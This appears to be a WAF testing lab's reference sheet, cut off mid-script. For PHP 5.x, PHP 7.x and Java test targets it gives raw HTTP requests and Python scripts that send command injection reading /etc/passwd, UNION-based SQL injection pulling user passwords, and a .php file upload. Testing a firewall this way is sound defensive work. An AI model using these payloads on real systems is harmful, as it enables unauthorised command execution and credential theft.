

PHP 5.x 漏洞环境

源站: http://IP:8001

RCE

GET

```
GET /rce_get?cmd=cat%20/etc/passwd HTTP/1.1
Host: IP:9001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
import requests

headers = {
    'Host': 'waf:9001',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

response = requests.get('http://waf:9001/rce_get?cmd=cat%20/etc/passwd', headers=headers, verify=False)
```

POST

```
POST /rce_post HTTP/1.1
Host: waf:9001
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Referer: http://waf:9001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

cmd=cat+%2Fetc%2Fpasswd
```

```
import requests

headers = {
    'Host': 'waf:9001',
    # 'Content-Length': '23',
```

```

    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9001',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9001/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

data = {
    'cmd': 'cat /etc/passwd',
}

response = requests.post('http://waf:9001/rce_post', headers=headers, data=data, verify=False)

```

JSON

```

POST /rce_json HTTP/1.1
Host: waf:9001
Content-Length: 25
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://waf:9001
Referer: http://waf:9001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

{"cmd":"cat /etc/passwd"}

```

```

import requests

headers = {
    'Host': 'waf:9001',
    # 'Content-Length': '25',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'Origin': 'http://waf:9001',
    'Referer': 'http://waf:9001/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

json_data = {
    'cmd': 'cat /etc/passwd',
}

response = requests.post('http://waf:9001/rce_json', headers=headers, json=json_data, verify=False)

# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
#data = '{"cmd":"cat /etc/passwd"}'
#response = requests.post('http://waf:9001/rce_json', headers=headers, data=data, verify=False)

```

SQLi

GET

```
GET /sqli_get?id=1%20UNION%20SELECT%20null,%20password%20FROM%20users%20WHERE%20id%20=%201%20-- HTTP/1.1
Host: waf:9001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
import requests

headers = {
    'Host': 'waf:9001',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

response = requests.get(
    'http://waf:9001/sqli_get?id=1%20UNION%20SELECT%20null,%20password%20FROM%20users%20WHERE%20id%20=%201%20--',
    headers=headers,
    verify=False,
)
```

POST

```
POST /sqli_post HTTP/1.1
Host: waf:9001
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Referer: http://waf:9001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

id=1+UNION+SELECT+null%2C+password+FROM+users+WHERE+id+%3D+1+--+
```

```
import requests

headers = {
    'Host': 'waf:9001',
    # 'Content-Length': '64',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9001',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
    'Accept':
```

```
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
  'Referer': 'http://waf:9001/',
  # 'Accept-Encoding': 'gzip, deflate, br',
  'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
  'Connection': 'close',
}

data = {
  'id': '1 UNION SELECT null, password FROM users WHERE id = 1 -- ',
}

response = requests.post('http://waf:9001/sqli_post', headers=headers, data=data, verify=False)
```

JSON

```
POST /sqli_json HTTP/1.1
Host: waf:9001
Content-Length: 66
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://waf:9001
Referer: http://waf:9001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

{"id":"1 UNION SELECT null, password FROM users WHERE id = 1 -- "}
```

```
import requests

headers = {
  'Host': 'waf:9001',
  # 'Content-Length': '66',
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
  'Content-Type': 'application/json',
  'Accept': '*/*',
  'Origin': 'http://waf:9001',
  'Referer': 'http://waf:9001/',
  # 'Accept-Encoding': 'gzip, deflate, br',
  'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
  'Connection': 'close',
}

json_data = {
  'id': '1 UNION SELECT null, password FROM users WHERE id = 1 -- ',
}

response = requests.post('http://waf:9001/sqli_json', headers=headers, json=json_data, verify=False)

# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
#data = '{"id":"1 UNION SELECT null, password FROM users WHERE id = 1 -- "'
#response = requests.post('http://waf:9001/sqli_json', headers=headers, data=data, verify=False)
```

UPLOAD

POST

```
POST /upload HTTP/1.1
Host: waf:9001
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9001
```

```
Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryIABEqLYAQTic2F4P
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Referer: http://waf:9001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

-----WebKitFormBoundaryIABEqLYAQTic2F4P
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/php

123
-----WebKitFormBoundaryIABEqLYAQTic2F4P--
```

```
import requests

headers = {
    'Host': 'waf:9001',
    # 'Content-Length': '180',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9001',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9001/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

files = {
    'file': ('1.php', '123', 'text/php'),
}

response = requests.post('http://waf:9001/upload', headers=headers, files=files, verify=False)
```

PHP 7.x 漏洞环境

源站: http://IP:8002

RCE

GET

```
GET /rce_get?cmd=cat%20/etc/passwd HTTP/1.1
Host: IP:9002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
import requests
```

```
headers = {
    'Host': 'waf:9002',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

response = requests.get('http://waf:9002/rce_get?cmd=cat%20/etc/passwd', headers=headers, verify=False)
```

POST

```
POST /rce_post HTTP/1.1
Host: waf:9002
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://waf:9002/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
cmd=cat+%2Fetc%2Fpasswd
```

```
import requests

headers = {
    'Host': 'waf:9002',
    # 'Content-Length': '23',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9002',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9002/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

data = {
    'cmd': 'cat /etc/passwd',
}

response = requests.post('http://waf:9002/rce_post', headers=headers, data=data, verify=False)
```

JSON

```
POST /rce_json HTTP/1.1
Host: waf:9002
Content-Length: 25
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
```

```
Content-Type: application/json
Accept: */*
Origin: http://waf:9002
Referer: http://waf:9002/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

{"cmd":"cat /etc/passwd"}
```

```
import requests

headers = {
    'Host': 'waf:9002',
    # 'Content-Length': '25',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'Origin': 'http://waf:9002',
    'Referer': 'http://waf:9002/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

json_data = {
    'cmd': 'cat /etc/passwd',
}

response = requests.post('http://waf:9002/rce_json', headers=headers, json=json_data, verify=False)

# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
#data = '{"cmd":"cat /etc/passwd"}'
#response = requests.post('http://waf:9002/rce_json', headers=headers, data=data, verify=False)
```

SQLi

GET

```
GET /sqli_get?id=1%20UNION%20SELECT%20null,%20password%20FROM%20users%20WHERE%20id%20=%201%20-- HTTP/1.1
Host: waf:9002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
import requests

headers = {
    'Host': 'waf:9002',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
```



```
}

response = requests.get(
    'http://waf:9002/sqli_get?id=1%20UNION%20SELECT%20null,%20password%20FROM%20users%20WHERE%20id%20=%201%20--',
    headers=headers,
    verify=False,
)
```

POST

```
POST /sqli_post HTTP/1.1
Host: waf:9002
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://waf:9002/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

id=1+UNION+SELECT+null%2C+password+FROM+users+WHERE+id+%3D+1+--+
```

```
import requests

headers = {
    'Host': 'waf:9002',
    # 'Content-Length': '64',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9002',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9002/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

data = {
    'id': '1 UNION SELECT null, password FROM users WHERE id = 1 -- ',
}

response = requests.post('http://waf:9002/sqli_post', headers=headers, data=data, verify=False)
```

JSON

```
POST /sqli_json HTTP/1.1
Host: waf:9002
Content-Length: 66
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://waf:9002
Referer: http://waf:9002/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```



```
{"id": "1 UNION SELECT null, password FROM users WHERE id = 1 -- "}
```

```
import requests

headers = {
    'Host': 'waf:9002',
    # 'Content-Length': '66',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'Origin': 'http://waf:9002',
    'Referer': 'http://waf:9002/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

json_data = {
    'id': '1 UNION SELECT null, password FROM users WHERE id = 1 -- ',
}

response = requests.post('http://waf:9002/sqli_json', headers=headers, json=json_data, verify=False)

# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
#data = '{"id": "1 UNION SELECT null, password FROM users WHERE id = 1 -- "'
#response = requests.post('http://waf:9002/sqli_json', headers=headers, data=data, verify=False)
```

UPLOAD

POST

```
POST /upload HTTP/1.1
Host: waf:9002
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIABEqLYAQTic2F4P
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://waf:9002/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

-----WebKitFormBoundaryIABEqLYAQTic2F4P
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/php

123
-----WebKitFormBoundaryIABEqLYAQTic2F4P--
```

```
import requests

headers = {
    'Host': 'waf:9002',
    # 'Content-Length': '180',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9002',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/123.0.0.0 Safari/537.36',
  'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
  'Referer': 'http://waf:9002/',
  # 'Accept-Encoding': 'gzip, deflate, br',
  'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
  'Connection': 'close',
}

files = {
  'file': ('1.php', '123', 'text/php'),
}

response = requests.post('http://waf:9002/upload', headers=headers, files=files, verify=False)
```

Java 漏洞环境

源站: http://IP:8003

RCE

GET

```
GET /rce_get?cmd=cat%20/etc/passwd HTTP/1.1
Host: IP:9003
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
import requests

headers = {
  'Host': 'waf:9003',
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
  'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
  # 'Accept-Encoding': 'gzip, deflate, br',
  'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
  'Connection': 'close',
}

response = requests.get('http://waf:9003/rce_get?cmd=cat%20/etc/passwd', headers=headers, verify=False)
```

POST

```
POST /rce_post HTTP/1.1
Host: waf:9003
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9003
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
```

```
ed-exchange;v=b3;q=0.7
Referer: http://waf:9003/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
cmd=cat+%2Fetc%2Fpasswd
```

```
import requests

headers = {
    'Host': 'waf:9003',
    # 'Content-Length': '23',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9003',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9003/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

data = {
    'cmd': 'cat /etc/passwd',
}

response = requests.post('http://waf:9003/rce_post', headers=headers, data=data, verify=False)
```

JSON

```
POST /rce_json HTTP/1.1
Host: waf:9003
Content-Length: 25
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://waf:9003
Referer: http://waf:9003/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
{"cmd": "cat /etc/passwd"}
```

```
import requests

headers = {
    'Host': 'waf:9003',
    # 'Content-Length': '25',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'Origin': 'http://waf:9003',
    'Referer': 'http://waf:9003/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

json_data = {
    'cmd': 'cat /etc/passwd',
}
```

```

}

response = requests.post('http://waf:9003/rce_json', headers=headers, json=json_data, verify=False)

# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
#data = '{"cmd":"cat /etc/passwd"}'
#response = requests.post('http://waf:9003/rce_json', headers=headers, data=data, verify=False)

```

SQLi

GET

```

GET /sqli_get?id=1%20UNION%20SELECT%20null,%20password%20FROM%20users%20WHERE%20id%20=%201%20-- HTTP/1.1
Host: waf:9003
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

```

```

import requests

headers = {
    'Host': 'waf:9003',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

response = requests.get(
    'http://waf:9003/sqli_get?id=1%20UNION%20SELECT%20null,%20password%20FROM%20users%20WHERE%20id%20=%201%20--',
    headers=headers,
    verify=False,
)

```

POST

```

POST /sqli_post HTTP/1.1
Host: waf:9003
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9003
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Referer: http://waf:9003/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

id=1+UNION+SELECT+null%2C+password+FROM+users+WHERE+id+%3D+1+--+

```

```
import requests

headers = {
    'Host': 'waf:9003',
    # 'Content-Length': '64',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9003',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9003/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

data = {
    'id': '1 UNION SELECT null, password FROM users WHERE id = 1 -- ',
}

response = requests.post('http://waf:9003/sqli_post', headers=headers, data=data, verify=False)
```

JSON

```
POST /sqli_json HTTP/1.1
Host: waf:9003
Content-Length: 66
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://waf:9003
Referer: http://waf:9003/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close
```

```
{"id":"1 UNION SELECT null, password FROM users WHERE id = 1 -- "}
```

```
import requests

headers = {
    'Host': 'waf:9003',
    # 'Content-Length': '66',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': '*/*',
